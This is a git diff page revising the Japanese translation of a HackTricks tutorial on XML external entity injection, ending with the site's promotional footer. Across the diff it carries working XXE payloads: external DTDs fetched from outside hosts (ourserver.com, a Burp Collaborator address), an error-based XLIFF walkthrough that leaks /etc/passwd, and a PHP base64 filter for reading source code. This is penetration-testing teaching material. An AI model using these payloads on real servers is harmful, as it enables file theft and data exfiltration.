<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
<data>
|
||||
|
@ -472,20 +464,18 @@ DTDの例:
|
|||
</creds>
|
||||
```
|
||||
## **SOAP - XEE**
|
||||
|
||||
## SOAP - XEE
|
||||
```xml
|
||||
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
||||
```
|
||||
## XLIFF - XXE
|
||||
|
||||
この例は、[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)に触発されました。
|
||||
この例は、[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) に触発されました。
|
||||
|
||||
XLIFF(XML Localization Interchange File Format)は、ローカライゼーションプロセスでのデータ交換を標準化するために使用されます。これは、主にローカライゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースの形式であり、CAT(Computer-Aided Translation)ツールの共通の交換形式としても使用されます。
|
||||
XLIFF(XML Localization Interchange File Format)は、ローカライゼーションプロセスにおけるデータ交換を標準化するために使用されます。これは、主にローカライゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースの形式であり、CAT(Computer-Aided Translation)ツールの共通の交換形式としても使用されます。
|
||||
|
||||
### Blind Request Analysis
|
||||
|
||||
次の内容でサーバーにリクエストが行われます:
|
||||
以下の内容でサーバーにリクエストが送信されます:
|
||||
```xml
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
|
@ -497,14 +487,13 @@ Content-Type: application/x-xliff+xml
|
|||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
しかし、このリクエストは内部サーバーエラーを引き起こし、具体的にはマークアップ宣言に問題があると言及しています。
|
||||
しかし、このリクエストは内部サーバーエラーを引き起こし、具体的にはマークアップ宣言に問題があると言及しています:
|
||||
```json
|
||||
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
||||
```
|
||||
エラーが発生したにもかかわらず、Burp Collaborator にヒットが記録され、外部エンティティとのある程度のやり取りが示されます。
|
||||
エラーが発生したにもかかわらず、Burp Collaborator にヒットが記録され、外部エンティティとのある程度のやり取りがあったことが示されます。
|
||||
|
||||
外部バンドデータのエクスフィルトレーション
|
||||
データをエクスフィルトレートするために、修正されたリクエストが送信されます:
|
||||
外部バンドデータのエクスフィルトレーション データをエクスフィルトするために、修正されたリクエストが送信されます:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
|
@ -526,11 +515,11 @@ Content-Type: application/x-xliff+xml
|
|||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
サーバーはエラーで応答し、重要なことに存在しないファイルを反映しており、サーバーが指定されたファイルにアクセスしようとしていることを示しています:
|
||||
サーバーはエラーで応答し、存在しないファイルを反映していることが重要であり、サーバーが指定されたファイルにアクセスしようとしていることを示しています:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
エラーメッセージにファイルの内容を含めるために、DTDファイルを調整します:
|
||||
ファイルの内容をエラーメッセージに含めるために、DTDファイルを調整します:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
|
||||
|
@ -581,7 +570,7 @@ Content-Type: application/x-xliff+xml
|
|||
```
|
||||
### ソースコードを読む
|
||||
|
||||
PHPのbase64フィルターを使用
|
||||
PHPのbase64フィルターを使用する
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -674,25 +663,25 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す
|
|||
|
||||
## 参考文献
|
||||
|
||||
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
|
||||
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
|
||||
* 独自の外部DTDを使用してHTTP経由で情報を抽出する: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
|
||||
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
|
||||
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
|
||||
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
|
||||
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
||||
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
||||
* 独自の外部DTDを使用してHTTP経由で情報を抽出する: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
|
||||
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
||||
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
||||
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue